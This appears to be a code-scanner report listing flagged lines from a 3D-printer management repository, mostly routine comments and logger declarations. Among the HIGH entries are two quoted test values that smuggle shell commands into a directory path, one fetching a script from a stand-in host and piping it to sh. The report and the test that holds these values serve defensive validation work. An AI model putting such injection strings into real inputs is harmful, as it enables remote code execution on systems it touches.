| MEDIUM | …kend/tests/unit/test_print_start_expected_promotion.py | 305 | # Create a session without ams_mapping (simulates MQTT not providing it) | COMMENT |
| MEDIUM | backend/tests/unit/test_archive_filtering.py | 691 | # Create the expected output file (as FFmpeg would) | COMMENT |
| MEDIUM | backend/tests/unit/services/test_external_camera.py | 279 | # Create a buffer with one complete frame | COMMENT |
| MEDIUM | backend/tests/unit/services/test_stl_thumbnail.py | 42 | # Create a dummy STL file (will fail to parse) | COMMENT |
| MEDIUM | backend/tests/unit/services/test_stl_thumbnail.py | 61 | # Create a simple ASCII STL cube | COMMENT |
| MEDIUM | backend/tests/unit/services/test_virtual_printer.py | 430 | # Create a temp 3mf file | COMMENT |
| MEDIUM | backend/tests/unit/services/test_virtual_printer.py | 550 | # Create a temp 3mf file | COMMENT |
| MEDIUM | …ckend/tests/unit/services/test_notification_service.py | 471 | # Create a mock provider with digest enabled | COMMENT |
| MEDIUM | …ckend/tests/unit/services/test_notification_service.py | 559 | # Create a mock response | COMMENT |
| MEDIUM | backend/tests/unit/services/mock_ftp_server.py | 152 | # Create a unique handler class per instance so _failure_map is isolated | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_camera_api.py | 294 | # Create a fake JPEG (starts with FFD8) | COMMENT |
| MEDIUM | backend/tests/integration/test_api_key_cloud_access.py | 119 | # Create a legacy key directly in the DB (user_id NULL, mimicking | COMMENT |
| MEDIUM | backend/tests/integration/test_advanced_auth_api.py | 341 | # Create a user with email | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 1571 | # Create a low-privilege user (no group → no permissions in default seed). | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 1643 | # Create a user explicitly in the Viewers group — it has SETTINGS_READ | COMMENT |
| MEDIUM | backend/tests/integration/test_security.py | 2821 | # Create a pre_auth token to simulate the post-login 2FA challenge step. | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_ams_history_api.py | 95 | # Create a recent record | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_ams_history_api.py | 97 | # Create an old record (outside default 24h) | COMMENT |
| MEDIUM | backend/tests/integration/test_ams_history_api.py | 148 | # Create an old record | COMMENT |
| MEDIUM | backend/tests/integration/test_oidc_env_apply.py | 679 | # Create a user and link it to the env-managed provider | COMMENT |
| MEDIUM | backend/tests/integration/test_mfa_api.py | 1129 | # Create a regular user via user management | COMMENT |
| MEDIUM | backend/tests/integration/test_mfa_api.py | 2278 | # Create a user first | COMMENT |
| MEDIUM | backend/tests/integration/test_mfa_api.py | 4989 | # Create a temporary group and use it as default_group_id | COMMENT |
| MEDIUM | backend/tests/integration/test_system_api.py | 195 | # Create a test printer | COMMENT |
| MEDIUM | backend/tests/integration/test_print_queue_api.py | 1888 | # Create a printer with model X1C so the API can validate | COMMENT |
| MEDIUM | backend/tests/integration/test_print_queue_api.py | 2884 | # Create a batch of 3 | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_library_api.py | 457 | # Create a test user | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_library_api.py | 462 | # Create a file with created_by_id set | COMMENT |
| MEDIUM⚡ | backend/tests/integration/test_library_api.py | 909 | # Create a file in DB but not on disk | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 725 | # Create a fake file that's not a ZIP | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 737 | # Create a simple ZIP file in memory | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 758 | # Create a ZIP file with folder structure | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 780 | # Create a ZIP file with folder structure | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 801 | # Create a ZIP file with macOS junk files | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 822 | # Create a ZIP file with some files | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 932 | # Create a simple ASCII STL cube | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 985 | # Create a simple STL file | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1002 | # Create a ZIP file containing an STL | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1023 | # Create a folder | COMMENT |
| MEDIUM | backend/tests/integration/test_library_api.py | 1426 | # Create a target folder the move can land in. | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 993 | # Create a linked folder | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1038 | # Create a file-like object | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1062 | # Create a ZIP file in memory | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1091 | # Create a linked folder with is_external fields | COMMENT |
| MEDIUM | backend/tests/integration/test_projects_api.py | 1102 | # Create a test file on disk | COMMENT |
| 23 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/main.py | 669 | CODE | |
| LOW | backend/app/main.py | 1353 | CODE | |
| LOW | backend/app/main.py | 1783 | CODE | |
| LOW | backend/app/main.py | 2783 | CODE | |
| LOW | backend/app/main.py | 4009 | CODE | |
| LOW | backend/app/main.py | 4109 | CODE | |
| LOW | backend/app/main.py | 4400 | CODE | |
| LOW | backend/app/main.py | 4527 | CODE | |
| LOW | backend/app/main.py | 5003 | CODE | |
| LOW | backend/app/main.py | 5320 | CODE | |
| LOW | backend/app/main.py | 6876 | CODE | |
| LOW | backend/app/main.py | 7147 | CODE | |
| LOW | backend/app/main.py | 7261 | CODE | |
| LOW | backend/app/main.py | 7728 | CODE | |
| LOW | backend/app/main.py | 6292 | CODE | |
| LOW | backend/app/main.py | 6564 | CODE | |
| LOW | backend/app/main.py | 6694 | CODE | |
| LOW | backend/app/main.py | 6785 | CODE | |
| LOW | backend/app/main.py | 5880 | CODE | |
| LOW | backend/app/core/auth.py | 410 | CODE | |
| LOW | backend/app/core/auth.py | 1132 | CODE | |
| LOW | backend/app/core/auth.py | 1479 | CODE | |
| LOW | backend/app/core/database.py | 845 | CODE | |
| LOW | backend/app/core/database.py | 1242 | CODE | |
| LOW | backend/app/core/database.py | 4557 | CODE | |
| LOW | backend/app/core/database.py | 4936 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 32 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 168 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 235 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 557 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 613 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 833 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 1232 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 1484 | CODE | |
| LOW | backend/app/utils/threemf_tools.py | 1580 | CODE | |
| LOW | backend/app/utils/tray_split.py | 27 | CODE | |
| LOW | backend/app/api/routes/mfa.py | 1133 | CODE | |
| LOW | backend/app/api/routes/mfa.py | 1721 | CODE | |
| LOW | backend/app/api/routes/slicer_presets.py | 102 | CODE | |
| LOW | backend/app/api/routes/slicer_presets.py | 185 | CODE | |
| LOW | backend/app/api/routes/slicer_presets.py | 448 | CODE | |
| LOW | backend/app/api/routes/auth.py | 257 | CODE | |
| LOW | backend/app/api/routes/auth.py | 449 | CODE | |
| LOW | backend/app/api/routes/auth.py | 751 | CODE | |
| LOW | backend/app/api/routes/auth.py | 1867 | CODE | |
| LOW | backend/app/api/routes/system.py | 244 | CODE | |
| LOW | backend/app/api/routes/finance.py | 75 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 71 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 175 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 410 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 791 | CODE | |
| LOW | backend/app/api/routes/spoolman.py | 1150 | CODE | |
| LOW | backend/app/api/routes/support.py | 786 | CODE | |
| LOW | backend/app/api/routes/support.py | 1256 | CODE | |
| LOW | backend/app/api/routes/library.py | 577 | CODE | |
| LOW | backend/app/api/routes/library.py | 670 | CODE | |
| LOW | backend/app/api/routes/library.py | 733 | CODE | |
| LOW | backend/app/api/routes/library.py | 1269 | CODE | |
| LOW | backend/app/api/routes/library.py | 1402 | CODE | |
| LOW | backend/app/api/routes/library.py | 1706 | CODE | |
| 250 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/app/core/oidc_env.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/auth.py | 26 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/encryption.py | 30 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/tasks.py | 29 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/database.py | 12 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/core/asyncio_handlers.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/utils/local_time.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/utils/threemf_tools.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/models/__init__.py | 43 | __all__ = [ | CODE |
| LOW | backend/app/schemas/__init__.py | 25 | __all__ = [ | CODE |
| LOW⚡ | backend/app/api/routes/mfa.py | 624 | async def _set_email_2fa_enabled(db: AsyncSession, user_id: int, enabled: bool) -> None: | CODE |
| LOW | backend/app/api/routes/mfa.py | 89 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/slicer_presets.py | 58 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | backend/app/api/routes/auth.py | 220 | async def set_advanced_auth_enabled(db: AsyncSession, enabled: bool) -> None: | CODE |
| LOW⚡ | backend/app/api/routes/auth.py | 227 | async def set_auth_enabled(db: AsyncSession, enabled: bool) -> None: | CODE |
| LOW | backend/app/api/routes/auth.py | 248 | async def set_setup_completed(db: AsyncSession, completed: bool) -> None: | CODE |
| LOW | backend/app/api/routes/library_trash.py | 43 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/user_notifications.py | 16 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/labels.py | 35 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/sponsor_prompt.py | 18 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/library_variants.py | 60 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/ha_sensors.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/spoolman.py | 39 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/support.py | 47 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/library.py | 94 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/print_log.py | 21 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/firmware.py | 28 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/cloud.py | 55 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/spoolman_inventory.py | 69 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/discovery.py | 24 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/webhook.py | 16 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/maintenance.py | 31 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/slicer_pipelines.py | 30 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/updates.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/local_presets.py | 32 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/archives.py | 46 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/spoolbuddy.py | 46 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/orca_cloud.py | 64 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/external_links.py | 29 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | backend/app/api/routes/pipeline_runs.py | 65 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/makerworld.py | 54 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/local_backup.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/camera.py | 49 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/github_backup.py | 34 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/_spoolman_helpers.py | 18 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/settings.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/settings.py | 148 | async def set_setting(db: AsyncSession, key: str, value: str) -> None: | CODE |
| LOW | backend/app/api/routes/virtual_printers.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/printers.py | 73 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/notifications.py | 27 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/api_keys.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/smart_plugs.py | 45 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/print_queue.py | 63 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/projects.py | 50 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/library_tags.py | 51 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/archive_purge.py | 33 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/kprofiles.py | 26 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/obico.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/bug_report.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/api/routes/websocket.py | 30 | logger = logging.getLogger(__name__) | CODE |
| 119 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | install/install.sh | 304 | # Check if Homebrew is installed | COMMENT |
| LOW | install/install.sh | 914 | # Check if running via pipe (curl | bash) - interactive mode won't work | COMMENT |
| LOW | install/docker-install.sh | 341 | # Check if container is running (Up) | COMMENT |
| LOW | install/docker-install.sh | 347 | # Check if container failed | COMMENT |
| LOW | install/docker-install.sh | 469 | # Check if running via pipe (curl | bash) - interactive mode won't work | COMMENT |
| LOW | install/docker-install.sh | 498 | # Check if Docker daemon is running | COMMENT |
| LOW | deploy/docker-entrypoint.sh | 42 | # Check if we have any certificates to process. Error if directory is empty | COMMENT |
| LOW | tests/e2e_comprehensive_test.py | 195 | # Check if modal opened | COMMENT |
| LOW | tests/e2e_comprehensive_test.py | 241 | # Check if dark theme is applied (should be default) | COMMENT |
| LOW⚡ | backend/app/main.py | 2302 | # Check if Spoolman is enabled | COMMENT |
| LOW | backend/app/main.py | 2093 | # Check if assignment already exists for this slot | COMMENT |
| LOW | backend/app/main.py | 2334 | # Check if Spoolman is reachable | COMMENT |
| LOW | backend/app/main.py | 3059 | # Check if this is an expected print from reprint/scheduled | COMMENT |
| LOW | backend/app/main.py | 3253 | # Check if there's already a "printing" archive for this printer/file | COMMENT |
| LOW | backend/app/main.py | 5691 | # Check if queue is now empty and send notification | COMMENT |
| LOW | backend/app/main.py | 5747 | # Check if any provider has on_bed_cooled enabled (skip registration if none) | COMMENT |
| LOW | backend/app/main.py | 6467 | # Check if camera stream is active - use buffered frame to avoid freeze | COMMENT |
| LOW | backend/app/main.py | 8496 | # Check if auth is enabled. Fail CLOSED on any exception during the | COMMENT |
| LOW | backend/app/core/auth.py | 1294 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/auth.py | 1514 | # Check if key matches (verify against hash) | COMMENT |
| LOW | backend/app/core/auth.py | 1676 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/auth.py | 1759 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/auth.py | 2061 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/core/database.py | 1961 | # Check if archive_id needs to be made nullable (requires table recreation in SQLite) | STRING |
| LOW | backend/app/utils/threemf_tools.py | 655 | # Check if only one extruder is active. | COMMENT |
| LOW | backend/app/models/archive.py | 67 | # Print result | COMMENT |
| LOW | backend/app/api/routes/auth.py | 275 | # Check if admin users already exist | COMMENT |
| LOW | backend/app/api/routes/auth.py | 305 | # Check if username already exists (shouldn't happen if no admin users exist, but check anyway) | COMMENT |
| LOW | backend/app/api/routes/auth.py | 459 | # Check if auth is enabled | COMMENT |
| LOW | backend/app/api/routes/auth.py | 484 | # Check if LDAP is enabled | COMMENT |
| LOW | backend/app/api/routes/auth.py | 687 | # Check if it's an API key (starts with bb_) | COMMENT |
| LOW | backend/app/api/routes/auth.py | 1059 | # Check if advanced auth is enabled | COMMENT |
| LOW | backend/app/api/routes/auth.py | 1236 | # Check if advanced auth is enabled | COMMENT |
| LOW | backend/app/api/routes/metrics.py | 66 | # Check if enabled | COMMENT |
| LOW | backend/app/api/routes/spoolman.py | 181 | # Check if Spoolman is enabled and connected | COMMENT |
| LOW | backend/app/api/routes/spoolman.py | 415 | # Check if Spoolman is enabled | COMMENT |
| LOW | backend/app/api/routes/spoolman.py | 762 | # Check if spool has a tag in extra field | COMMENT |
| LOW | backend/app/api/routes/support.py | 1420 | # Check if debug logging is enabled and collect sensitive values for redaction | COMMENT |
| LOW | backend/app/api/routes/library.py | 1995 | # Check if subfolder has any remaining files | COMMENT |
| LOW | backend/app/api/routes/library.py | 2003 | # Check if it has any remaining child folders | COMMENT |
| LOW | backend/app/api/routes/library.py | 2448 | # Check if folder already exists | COMMENT |
| LOW | backend/app/api/routes/library.py | 2502 | # Check if folder exists | COMMENT |
| LOW | backend/app/api/routes/library.py | 3318 | # Check if this is the requested plate | COMMENT |
| LOW | backend/app/api/routes/users.py | 110 | # Check if advanced auth is enabled | COMMENT |
| LOW | backend/app/api/routes/users.py | 115 | # Check if username already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/users.py | 137 | # Check if email already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/users.py | 293 | # Check if new username already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/users.py | 305 | # Check if new email already exists (case-insensitive) | COMMENT |
| LOW | backend/app/api/routes/maintenance.py | 518 | # Check if already assigned | COMMENT |
| LOW | backend/app/api/routes/updates.py | 374 | # Check if this is a prerelease (has b/beta/alpha/rc/daily suffix anywhere) | COMMENT |
| LOW | backend/app/api/routes/updates.py | 467 | # Check if beta updates should be included | COMMENT |
| LOW | backend/app/api/routes/archives.py | 3136 | # Check if source 3MF exists - this is where actual mesh data typically lives | COMMENT |
| LOW | backend/app/api/routes/groups.py | 106 | # Check if group name already exists | COMMENT |
| LOW | backend/app/api/routes/groups.py | 190 | # Check if updating name to one that already exists | COMMENT |
| LOW | backend/app/api/routes/groups.py | 297 | # Check if user is already in group | COMMENT |
| LOW | backend/app/api/routes/groups.py | 335 | # Check if user is in group | COMMENT |
| LOW | backend/app/api/routes/camera.py | 208 | # Check if client disconnected | COMMENT |
| LOW | backend/app/api/routes/camera.py | 806 | # Check if stream was explicitly stopped (e.g., by stop endpoint) | COMMENT |
| LOW | backend/app/api/routes/camera.py | 1361 | # Check if there's an active stream for this printer | COMMENT |
| LOW | backend/app/api/routes/settings.py | 309 | # Check if any MQTT settings are being updated | COMMENT |
| 62 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/app/core/auth.py | 2011 | - Ownerless items (created_by_id = null) require ``all_permission`` | STRING |
| HIGH | backend/app/core/database.py | 1346 | "UPDATE cost_centers SET code = substr(md5(random()::text || clock_timestamp()::text), 1, 12) " | CODE |
| HIGH | backend/app/models/library.py | 156 | # Soft-delete / trash bin (Issue #1008). When non-null, the file is in the | COMMENT |
| HIGH | backend/app/models/archive.py | 118 | # Soft-delete sentinel (#1343). When non-null, the UI hides this archive | COMMENT |
| HIGH | backend/app/schemas/library.py | 220 | # never null, so the FE can iterate without a guard. | COMMENT |
| HIGH | backend/app/api/routes/library.py | 5291 | pass # leave hash null; dedup just won't match this row | CODE |
| HIGH | backend/app/api/routes/spoolman_inventory.py | 1923 | _raise_if_partial_failure(spools_to_clear, results, "spool_weight clear (option B null)") | CODE |
| HIGH | backend/app/api/routes/spoolman_inventory.py | 81 | """Return True when a PATCH field explicitly removes a tag (null).""" | STRING |
| HIGH | backend/app/api/routes/spoolman_inventory.py | 1859 | is null, clears per-spool overrides so spools fall back to the filament value. | STRING |
| HIGH | backend/app/api/routes/updates.py | 961 | "git pull && docker compose build --pull && docker compose up -d" | CODE |
| HIGH | backend/app/services/print_scheduler.py | 4501 | 2. Chamber target — `item.preheat_chamber_target_override` if non-null; | STRING |
| HIGH⚡ | backend/app/services/spoolbuddy_ssh.py | 339 | "sudo find /home -maxdepth 5 -path '*/chromium/Default/Service Worker' -type d -exec rm -rf {} + 2>/dev/null | CODE |
| HIGH⚡ | backend/tests/unit/test_main_plug_rank_2830.py | 199 | backfilled with the default and nothing writes a null, but a rank that | STRING |
| HIGH⚡ | backend/tests/unit/test_compose_dir_setting.py | 37 | "/opt/bambuddy && curl evil.invalid/x | sh", | CODE |
| HIGH⚡ | backend/tests/unit/test_compose_dir_setting.py | 41 | '/opt/bambuddy" && echo pwned && echo "', | CODE |
| HIGH⚡ | backend/tests/integration/test_library_api.py | 434 | # User tracking fields should be present (even if null) | COMMENT |
| HIGH⚡ | backend/tests/integration/test_library_api.py | 446 | # User tracking fields should be present (even if null) | COMMENT |
| HIGH | backend/tests/integration/test_ownership_permissions.py | 6 | - Ownerless items (created_by_id = null) require *_all permission | STRING |
| HIGH | backend/tests/integration/test_ownership_permissions.py | 523 | """Ownerless archive (created_by_id=null) requires REPRINT_ALL. | STRING |
| HIGH | backend/tests/integration/test_ownership_permissions.py | 1637 | """Ownerless rows (created_by_id = null, legacy data) require *_ALL — an | STRING |
| HIGH | backend/tests/integration/test_inventory_assign.py | 444 | """When slicer_filament_name is null, falls back to tray_sub_brands.""" | STRING |
| HIGH⚡ | …ckend/tests/integration/test_spoolman_inventory_api.py | 2424 | """Sending {tag_uid: null, tray_uuid: null} → at_least_one validator → 422.""" | STRING |
| HIGH | backend/tests/integration/test_color_catalog_extras.py | 52 | """PUT with empty extra_colors clears the field (server normalizes "" → null).""" | STRING |
| HIGH | backend/tests/integration/test_settings_api.py | 877 | # And a fresh GET also sees it as null, not the literal string "None". | COMMENT |
| HIGH | backend/tests/integration/test_printers_api.py | 1489 | has filament_id=null, the frontend sends the setting_id in BOTH fields | STRING |
| HIGH | installers/windows/build.py | 207 | """Run ``npm ci && npm run build`` and return the build output path. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | docker-publish-daily-beta.sh | 102 | # Step 1: Read and validate APP_VERSION | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 127 | # Step 2: Build & push Docker images | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 288 | # Step 3: Create/update GitHub release | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 380 | # Step 4: Verify | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 205 | // Step 1: request verification code (proof of possession) | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 222 | // Step 2: confirm with the code received by email | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 631 | // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes the | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 37 | // Step 1: Queue the diagnostic on the device | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 41 | // Step 2: Poll for results with timeout | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 836 | // Step 1: pick Plate 2. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 840 | // Step 2: profile dropdowns are now visible. | COMMENT |
| LOW⚡ | frontend/src/__tests__/components/SliceModal.test.tsx | 843 | // Step 3: submit and verify the plate index made it into the body. | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4240 | // Step 1: send a verification code to the user's email (proof of possession) | COMMENT |
| LOW⚡ | frontend/src/api/client.ts | 4243 | // Step 2: confirm with the code received by email | COMMENT |
| LOW | backend/app/core/database.py | 3944 | # Step 1: link old log entries to their archive via print_name + printer_id. | COMMENT |
| LOW | backend/app/core/database.py | 3968 | # Step 2: backfill cost / energy_kwh / energy_cost onto the latest linked | STRING |
| LOW | backend/app/services/ldap_service.py | 263 | # Step 2: Bind as the user to verify password | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 255 | # Step 1: Test SSH connectivity | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 284 | # Step 2: Git fetch | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 297 | # Step 3: Git checkout + reset | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 310 | # Step 4: Install dependencies | COMMENT |
| LOW | backend/app/services/spoolbuddy_ssh.py | 323 | # Step 5: Restart daemon | COMMENT |
| LOW⚡ | backend/app/services/spoolbuddy_ssh.py | 335 | # Step 6: Clear browser cache and restart kiosk | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4980 | # Step 1: Stale detection triggers | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4984 | # Step 2: Paho fires disconnect callback (from socket close) | COMMENT |
| LOW⚡ | backend/tests/unit/services/test_bambu_mqtt.py | 4989 | # Step 3: Paho reconnects | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3306 | # Step 1: Right extruder loads AMS 0 slot 0 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3318 | # Step 2: Switch to left, load AMS HT | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3331 | # Step 3: Switch back to right, load AMS 0 slot 2 | COMMENT |
| LOW | backend/tests/unit/services/test_bambu_mqtt.py | 3344 | # Step 4: Unload | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 595 | # Step 1: Print starts — plug turns on | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 610 | # Step 2: Print completes — auto-off is scheduled | COMMENT |
| LOW | backend/tests/unit/services/test_smart_plug_manager.py | 622 | # Step 3: Auto-off executes via _mark_auto_off_executed | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2796 | # Step 1: Initial TOTP setup (no active TOTP yet → no code required) | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2804 | # Step 2: Enable TOTP with a valid code | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2813 | # Step 3: Determine current valid code and its counter | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2825 | # Step 4: Pre-set last_totp_counter so this code looks already used | COMMENT |
| LOW⚡ | backend/tests/integration/test_mfa_api.py | 2829 | # Step 5: Attempt setup_totp with the "already used" code → must be rejected | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 9 | ### Step 1: Basic Settings | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 16 | ### Step 2: Bypass List (optional) | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 21 | ### Step 3: Target Branches | COMMENT |
| LOW⚡ | .github/MAINTAINERS.md | 25 | ### Step 4: Branch Rules | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 96 | # Step 1: Reset (set RR=1, then RR=0) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 103 | # Step 2: Power up digital (PUD=1 auto-starts AD conversion) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 109 | # Step 3: Wait for power-up ready (PUR bit 3) | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 127 | # Step 4: Configure device | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 145 | # Step 5: Tuning per application notes | COMMENT |
| LOW⚡ | spoolbuddy/daemon/nau7802.py | 151 | # Step 6: Trigger fresh AD conversion and wait for first result | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | docker-publish-daily-beta.sh | 102 | # Step 1: Read and validate APP_VERSION | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 127 | # Step 2: Build & push Docker images | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 288 | # Step 3: Create/update GitHub release | COMMENT |
| LOW⚡ | docker-publish-daily-beta.sh | 380 | # Step 4: Verify | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 205 | // Step 1: request verification code (proof of possession) | COMMENT |
| LOW | frontend/src/components/TwoFactorSettings.tsx | 222 | // Step 2: confirm with the code received by email | COMMENT |
| LOW | frontend/src/components/SliceModal.tsx | 631 | // Step 1: plate picker for multi-plate 3MF sources. Cancelling closes the | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 37 | // Step 1: Queue the diagnostic on the device | COMMENT |
| LOW⚡ | frontend/src/components/spoolbuddy/DiagnosticModal.tsx | 41 | // Step 2: Poll for results with timeout | COMMENT |
